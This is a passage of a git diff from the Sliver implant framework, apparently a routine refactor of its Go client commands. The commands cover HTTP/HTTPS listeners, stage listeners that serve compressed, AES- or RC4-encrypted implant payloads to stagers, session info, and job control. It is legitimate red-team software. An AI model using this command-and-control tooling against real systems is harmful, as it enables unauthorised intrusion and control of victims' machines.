listener", + Long: help.GetHelpFor([]string{consts.StageListenerStr}), + Run: func(cmd *cobra.Command, args []string) { + ServeStageCmd(cmd, con, args) + }, + } + httpCmd.AddCommand(stageCmd) + + flags.Bind("stage listener", false, stageCmd, func(f *pflag.FlagSet) { + f.StringP("profile", "p", "", "implant profile name to link with the listener") + f.StringP("url", "u", "", "URL to which the stager will call back to") + f.StringP("cert", "c", "", "path to PEM encoded certificate file (HTTPS only)") + f.StringP("key", "k", "", "path to PEM encoded private key file (HTTPS only)") + f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)") + f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") + f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") + f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key") + f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)") + f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") + }) + completers.NewFlagCompsFor(stageCmd, func(comp *carapace.ActionMap) { + (*comp)["profile"] = generate.ProfileNameCompleter(con) + (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") + (*comp)["key"] = carapace.ActionFiles().Tag("key file") + (*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats") + }) + + return []*cobra.Command{httpCmd} +} diff --git a/client/command/jobs/http.go b/client/command/http/listen.go similarity index 91% rename from client/command/jobs/http.go rename to client/command/http/listen.go index f4ac3941f6..d3006cb395 100644 --- a/client/command/jobs/http.go +++ b/client/command/http/listen.go @@ -1,4 +1,4 @@ -package jobs +package http /* Sliver Implant Framework @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// HTTPListenerCmd - Start an HTTP listener -func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ListenCmd - Start an HTTP listener. +func ListenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domain, _ := cmd.Flags().GetString("domain") lhost, _ := cmd.Flags().GetString("lhost") lport, _ := cmd.Flags().GetUint32("lport") @@ -63,7 +63,7 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args LongPollJitter: int64(longPollJitter), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", http.JobID) } diff --git a/client/command/http/serve.go b/client/command/http/serve.go new file mode 100644 index 0000000000..688827d60f --- /dev/null +++ b/client/command/http/serve.go @@ -0,0 +1,177 @@ +package http + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bytes" + "compress/zlib" + "context" + "encoding/binary" + "net/url" + "strconv" + "strings" + + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/util" + "github.com/bishopfox/sliver/util/encoders" +) + +// ServeStageCmd --url [tcp://ip:port | http://ip:port ] --profile name. +func ServeStageCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + profileName, _ := cmd.Flags().GetString("profile") + listenerURL, _ := cmd.Flags().GetString("url") + aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key") + aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv") + rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key") + prependSize, _ := cmd.Flags().GetBool("prepend-size") + compressF, _ := cmd.Flags().GetString("compress") + compress := strings.ToLower(compressF) + + if profileName == "" || listenerURL == "" { + con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n") + return + } + + // parse listener url + stagingURL, err := url.Parse(listenerURL) + if err != nil { + con.PrintErrorf("Listener-url format not supported") + return + } + stagingPort, err := strconv.ParseUint(stagingURL.Port(), 10, 32) + if err != nil { + con.PrintErrorf("error parsing staging port: %v\n", err) + return + } + + profile := generate.GetImplantProfileByName(profileName, con) + if profile == nil { + con.PrintErrorf("Profile not found\n") + return + } + + if rc4EncryptKey != "" && aesEncryptKey != "" { + con.PrintErrorf("Cannot use both RC4 and AES encryption\n") + return + } + + rc4Encrypt := false + if rc4EncryptKey != "" { + // RC4 keysize can be between 1 to 256 bytes + if len(rc4EncryptKey) < 1 || len(rc4EncryptKey) > 256 { + con.PrintErrorf("Incorrect length of RC4 Key\n") + return + } + rc4Encrypt = true + } + + aesEncrypt := false + if aesEncryptKey != "" { + // check if aes encryption key is correct length + if len(aesEncryptKey)%16 != 0 { + con.PrintErrorf("Incorrect length of AES Key\n") + return + } + + // set default aes iv + if aesEncryptIv == "" { + aesEncryptIv = "0000000000000000" + } + + // check if aes iv is correct length + if len(aesEncryptIv)%16 != 0 { + con.PrintErrorf("Incorrect length of AES IV\n") + return + } + + aesEncrypt = true + } + + stage2, err := generate.GetSliverBinary(profile, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + + switch compress { + case "zlib": + // use zlib to compress the stage2 + var compBuff bytes.Buffer + zlibWriter := zlib.NewWriter(&compBuff) + zlibWriter.Write(stage2) + zlibWriter.Close() + stage2 = compBuff.Bytes() + case "gzip": + stage2, _ = encoders.GzipBuf(stage2) + case "deflate9": + fallthrough + case "deflate": + stage2 = util.DeflateBuf(stage2) + } + + if aesEncrypt { + // PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude + // but it's also useful here as more advanced cipher modes are often difficult to implement in + // a stager. + stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv)) + } + + if rc4Encrypt { + stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey)) + } + + if prependSize { + stage2 = prependPayloadSize(stage2) + } + ctrl := make(chan bool) + con.SpinUntil("Starting HTTP staging listener...", ctrl) + stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{ + Protocol: clientpb.StageProtocol_HTTP, + Data: stage2, + Host: stagingURL.Hostname(), + Port: uint32(stagingPort), + }) + ctrl <- true + <-ctrl + if err != nil { + con.PrintErrorf("Error starting HTTP staging listener: %s\n", con.UnwrapServerErr(err)) + return + } + con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID()) + + if aesEncrypt { + con.PrintInfof("AES KEY: %v\n", aesEncryptKey) + con.PrintInfof("AES IV: %v\n", aesEncryptIv) + } + + if rc4Encrypt { + con.PrintInfof("RC4 KEY: %v\n", rc4EncryptKey) + } +} + +func prependPayloadSize(payload []byte) []byte { + payloadSize := uint32(len(payload)) + lenBuf := make([]byte, 4) + binary.LittleEndian.PutUint32(lenBuf, payloadSize) + return append(lenBuf, payload...) +} diff --git a/client/command/https/commands.go b/client/command/https/commands.go new file mode 100644 index 0000000000..d8ac2e1967 --- /dev/null +++ b/client/command/https/commands.go @@ -0,0 +1,105 @@ +package https + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `https` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + httpCmd := &cobra.Command{ + Use: consts.HttpsStr, + Short: "HTTPS handlers management", + GroupID: consts.NetworkHelpGroup, + } + + // Sliver listeners + listenCmd := &cobra.Command{ + Use: consts.ListenStr, + Short: "Start an HTTPS listener", + Long: help.GetHelpFor([]string{consts.HttpsStr}), + Run: func(cmd *cobra.Command, args []string) { + ListenCmd(cmd, con, args) + }, + } + httpCmd.AddCommand(listenCmd) + + flags.Bind("HTTPS listener", false, listenCmd, func(f *pflag.FlagSet) { + f.StringP("domain", "d", "", "limit responses to specific domain") + f.StringP("website", "w", "", "website name (see websites cmd)") + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultHTTPSLPort, "tcp listen port") + f.BoolP("disable-otp", "D", false, "disable otp authentication") + f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") + f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") + + f.StringP("cert", "c", "", "PEM encoded certificate file") + f.StringP("key", "k", "", "PEM encoded private key file") + f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate") + f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints") + + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + completers.NewFlagCompsFor(listenCmd, func(comp *carapace.ActionMap) { + (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") + (*comp)["key"] = carapace.ActionFiles().Tag("key file") + }) + + // Staging listeners + stageCmd := &cobra.Command{ + Use: consts.ServeStr, + Short: "Start a stager listener", + Long: help.GetHelpFor([]string{consts.StageListenerStr}), + Run: func(cmd *cobra.Command, args []string) { + ServeStageCmd(cmd, con, args) + }, + } + httpCmd.AddCommand(stageCmd) + + flags.Bind("stage listener", false, stageCmd, func(f *pflag.FlagSet) { + f.StringP("profile", "p", "", "implant profile name to link with the listener") + f.StringP("url", "u", "", "URL to which the stager will call back to") + f.StringP("cert", "c", "", "path to PEM encoded certificate file (HTTPS only)") + f.StringP("key", "k", "", "path to PEM encoded private key file (HTTPS only)") + f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)") + f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") + f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") + f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key") + f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)") + f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") + }) + completers.NewFlagCompsFor(stageCmd, func(comp *carapace.ActionMap) { + (*comp)["profile"] = generate.ProfileNameCompleter(con) + (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") + (*comp)["key"] = carapace.ActionFiles().Tag("key file") + (*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats") + }) + + return []*cobra.Command{httpCmd} +} diff --git a/client/command/jobs/https.go b/client/command/https/listen.go similarity index 94% rename from client/command/jobs/https.go rename to client/command/https/listen.go index 474c32b799..1ee674f699 100644 --- a/client/command/jobs/https.go +++ b/client/command/https/listen.go @@ -1,4 +1,4 @@ -package jobs +package https /* Sliver Implant Framework @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// HTTPSListenerCmd - Start an HTTPS listener -func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ListenCmd - Start an HTTPS listener. +func ListenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domain, _ := cmd.Flags().GetString("domain") lhost, _ := cmd.Flags().GetString("lhost") lport, _ := cmd.Flags().GetUint32("lport") @@ -80,7 +80,7 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args }) con.Println() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", https.JobID) } diff --git a/client/command/jobs/stage.go b/client/command/https/serve.go similarity index 64% rename from client/command/jobs/stage.go rename to client/command/https/serve.go index d14b29df91..6837689d83 100644 --- a/client/command/jobs/stage.go +++ b/client/command/https/serve.go @@ -1,4 +1,4 @@ -package jobs +package https /* Sliver Implant Framework @@ -29,16 +29,15 @@ import ( "github.com/spf13/cobra" - "github.com/bishopfox/sliver/util/encoders" - "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/util" + "github.com/bishopfox/sliver/util/encoders" ) -// StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name -func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ServeStageCmd --url [tcp://ip:port | http://ip:port ] --profile name. +func ServeStageCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { profileName, _ := cmd.Flags().GetString("profile") listenerURL, _ := cmd.Flags().GetString("url") aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key") @@ -141,78 +140,34 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey)) } - switch stagingURL.Scheme { - case "http": - if prependSize { - stage2 = prependPayloadSize(stage2) - } - ctrl := make(chan bool) - con.SpinUntil("Starting HTTP staging listener...", ctrl) - stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{ - Protocol: clientpb.StageProtocol_HTTP, - Data: stage2, - Host: stagingURL.Hostname(), - Port: uint32(stagingPort), - }) - ctrl <- true - <-ctrl - if err != nil { - con.PrintErrorf("Error starting HTTP staging listener: %s\n", err) - return - } - con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID()) - case "https": - letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt") - if prependSize { - stage2 = prependPayloadSize(stage2) - } - cert, key, err := getLocalCertificatePair(cmd) - if err != nil { - con.Println() - con.PrintErrorf("Failed to load local certificate %s\n", err) - return - } - ctrl := make(chan bool) - con.SpinUntil("Starting HTTPS staging listener...", ctrl) - stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{ - Protocol: clientpb.StageProtocol_HTTPS, - Data: stage2, - Host: stagingURL.Hostname(), - Port: uint32(stagingPort), - Cert: cert, - Key: key, - ACME: letsEncrypt, - }) - ctrl <- true - <-ctrl - if err != nil { - con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err) - return - } - con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID()) - case "tcp": - // Always prepend payload size for TCP stagers + letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt") + if prependSize { stage2 = prependPayloadSize(stage2) - ctrl := make(chan bool) - con.SpinUntil("Starting TCP staging listener...", ctrl) - stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{ - Protocol: clientpb.StageProtocol_TCP, - Data: stage2, - Host: stagingURL.Hostname(), - Port: uint32(stagingPort), - }) - ctrl <- true - <-ctrl - if err != nil { - con.PrintErrorf("Error starting TCP staging listener: %v\n", err) - return - } - con.PrintInfof("Job %d (tcp) started\n", stageListener.GetJobID()) - - default: - con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme) + } + cert, key, err := getLocalCertificatePair(cmd) + if err != nil { + con.Println() + con.PrintErrorf("Failed to load local certificate %s\n", err) + return + } + ctrl := make(chan bool) + con.SpinUntil("Starting HTTPS staging listener...", ctrl) + stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{ + Protocol: clientpb.StageProtocol_HTTPS, + Data: stage2, + Host: stagingURL.Hostname(), + Port: uint32(stagingPort), + Cert: cert, + Key: key, + ACME: letsEncrypt, + }) + ctrl <- true + <-ctrl + if err != nil { + con.PrintErrorf("Error starting HTTPS staging listener: %v\n", con.UnwrapServerErr(err)) return } + con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID()) if aesEncrypt { con.PrintInfof("AES KEY: %v\n", aesEncryptKey) diff --git a/client/command/info/commands.go b/client/command/info/commands.go new file mode 100644 index 0000000000..0e3c5557cc --- /dev/null +++ b/client/command/info/commands.go @@ -0,0 +1,104 @@ +package info + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/use" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + infoCmd := &cobra.Command{ + Use: consts.InfoStr, + Short: "Get info about session", + Long: help.GetHelpFor([]string{consts.InfoStr}), + Args: cobra.MaximumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + InfoCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("use", false, infoCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con).Usage("implant target to show (optional)")) + + return []*cobra.Command{infoCmd} +} + +// SliverCommands returns all info commands working on an active target. +func SliverCommands(con *console.SliverClient) []*cobra.Command { + pingCmd := &cobra.Command{ + Use: consts.PingStr, + Short: "Send round trip message to implant (does not use ICMP)", + Long: help.GetHelpFor([]string{consts.PingStr}), + Run: func(cmd *cobra.Command, args []string) { + PingCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, pingCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + getPIDCmd := &cobra.Command{ + Use: consts.GetPIDStr, + Short: "Get session pid", + Long: help.GetHelpFor([]string{consts.GetPIDStr}), + Run: func(cmd *cobra.Command, args []string) { + PIDCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, getPIDCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + getUIDCmd := &cobra.Command{ + Use: consts.GetUIDStr, + Short: "Get session process UID", + Long: help.GetHelpFor([]string{consts.GetUIDStr}), + Run: func(cmd *cobra.Command, args []string) { + UIDCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, getUIDCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + getGIDCmd := &cobra.Command{ + Use: consts.GetGIDStr, + Short: "Get session process GID", + Long: help.GetHelpFor([]string{consts.GetGIDStr}), + Run: func(cmd *cobra.Command, args []string) { + GIDCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, getGIDCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + whoamiCmd := &cobra.Command{ + Use: consts.WhoamiStr, + Short: "Get session user execution context", + Long: help.GetHelpFor([]string{consts.WhoamiStr}), + Run: func(cmd *cobra.Command, args []string) { + WhoamiCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, whoamiCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd} +} diff --git a/client/command/info/info.go b/client/command/info/info.go index b49083ab02..82c5062655 100644 --- a/client/command/info/info.go +++ b/client/command/info/info.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// InfoCmd - Display information about the active session -func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// InfoCmd - Display information about the active session. +func InfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error // Check if we have an active target via 'use' @@ -110,8 +110,8 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } } -// PIDCmd - Get the active session's PID -func PIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PIDCmd - Get the active session's PID. +func PIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -123,8 +123,8 @@ func PIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } } -// UIDCmd - Get the active session's UID -func UIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UIDCmd - Get the active session's UID. +func UIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -136,8 +136,8 @@ func UIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } } -// GIDCmd - Get the active session's GID -func GIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GIDCmd - Get the active session's GID. +func GIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -149,8 +149,8 @@ func GIDCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } } -// WhoamiCmd - Displays the current user of the active session -func WhoamiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WhoamiCmd - Displays the current user of the active session. +func WhoamiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -175,12 +175,12 @@ func WhoamiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if cto.Response != nil && cto.Response.Async { - con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(cto.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, cto) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -188,14 +188,13 @@ func WhoamiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } PrintTokenOwner(cto, con) }) - con.PrintAsyncResponse(cto.Response) } else { PrintTokenOwner(cto, con) } } } -func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) { +func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverClient) { if cto.Response != nil && cto.Response.Err != "" { con.PrintErrorf("%s\n", cto.Response.Err) return diff --git a/client/command/info/ping.go b/client/command/info/ping.go index e09ae18410..034366bf75 100644 --- a/client/command/info/ping.go +++ b/client/command/info/ping.go @@ -10,8 +10,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// PingCmd - Send a round trip C2 message to an implant (does not use ICMP) -func PingCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PingCmd - Send a round trip C2 message to an implant (does not use ICMP). +func PingCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -24,7 +24,7 @@ func PingCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Pong %d\n", pong.Nonce) } diff --git a/client/command/jobs/commands.go b/client/command/jobs/commands.go new file mode 100644 index 0000000000..1b9f544ba8 --- /dev/null +++ b/client/command/jobs/commands.go @@ -0,0 +1,39 @@ +package jobs + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `jobs` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + jobsCmd := &cobra.Command{ + Use: consts.JobsStr, + Short: "Job control", + Long: help.GetHelpFor([]string{consts.JobsStr}), + Run: func(cmd *cobra.Command, args []string) { + JobsCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("jobs", true, jobsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("jobs", false, jobsCmd, func(f *pflag.FlagSet) { + f.Int32P("kill", "k", -1, "kill a background job") + f.BoolP("kill-all", "K", false, "kill all jobs") + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(jobsCmd, func(comp *carapace.ActionMap) { + (*comp)["kill"] = JobsIDCompleter(con) + }) + + return []*cobra.Command{jobsCmd} +} diff --git a/client/command/jobs/jobs.go b/client/command/jobs/jobs.go index e65ff66911..1b786c00dd 100644 --- a/client/command/jobs/jobs.go +++ b/client/command/jobs/jobs.go @@ -25,6 +25,7 @@ import ( "strconv" "strings" + "github.com/jedib0t/go-pretty/v6/table" "github.com/rsteube/carapace" "github.com/spf13/cobra" @@ -32,12 +33,10 @@ import ( "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - - "github.com/jedib0t/go-pretty/v6/table" ) -// JobsCmd - Manage server jobs (listeners, etc) -func JobsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// JobsCmd - Manage server jobs (listeners, etc). +func JobsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if pid, _ := cmd.Flags().GetInt32("kill"); pid != -1 { jobKill(uint32(pid), con) } else if all, _ := cmd.Flags().GetBool("kill-all"); all { @@ -45,7 +44,7 @@ func JobsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } else { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } // Convert to a map @@ -61,10 +60,11 @@ func JobsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } } -// PrintJobs - Prints a list of active jobs -func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) { +// PrintJobs - Prints a list of active jobs. +func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", @@ -91,11 +91,15 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) } // JobsIDCompleter completes jobs IDs with descriptions. -func JobsIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func JobsIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("No active jobs") + return carapace.ActionMessage("Failed to get server jobs: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) @@ -112,22 +116,22 @@ func JobsIDCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionCallback(callback) } -func jobKill(jobID uint32, con *console.SliverConsoleClient) { +func jobKill(jobID uint32, con *console.SliverClient) { con.PrintInfof("Killing job #%d ...\n", jobID) jobKill, err := con.Rpc.KillJob(context.Background(), &clientpb.KillJobReq{ ID: jobID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully killed job #%d\n", jobKill.ID) } } -func killAllJobs(con *console.SliverConsoleClient) { +func killAllJobs(con *console.SliverClient) { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } for _, job := range jobs.Active { diff --git a/client/command/jobs/wg.go b/client/command/jobs/wg.go deleted file mode 100644 index 9cc244be1c..0000000000 --- a/client/command/jobs/wg.go +++ /dev/null @@ -1,49 +0,0 @@ -package jobs - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - - "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/clientpb" -) - -// WGListenerCmd - Start a WireGuard listener -func WGListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - lport, _ := cmd.Flags().GetUint32("lport") - nport, _ := cmd.Flags().GetUint32("nport") - keyExchangePort, _ := cmd.Flags().GetUint32("key-port") - persistent, _ := cmd.Flags().GetBool("persistent") - - con.PrintInfof("Starting Wireguard listener 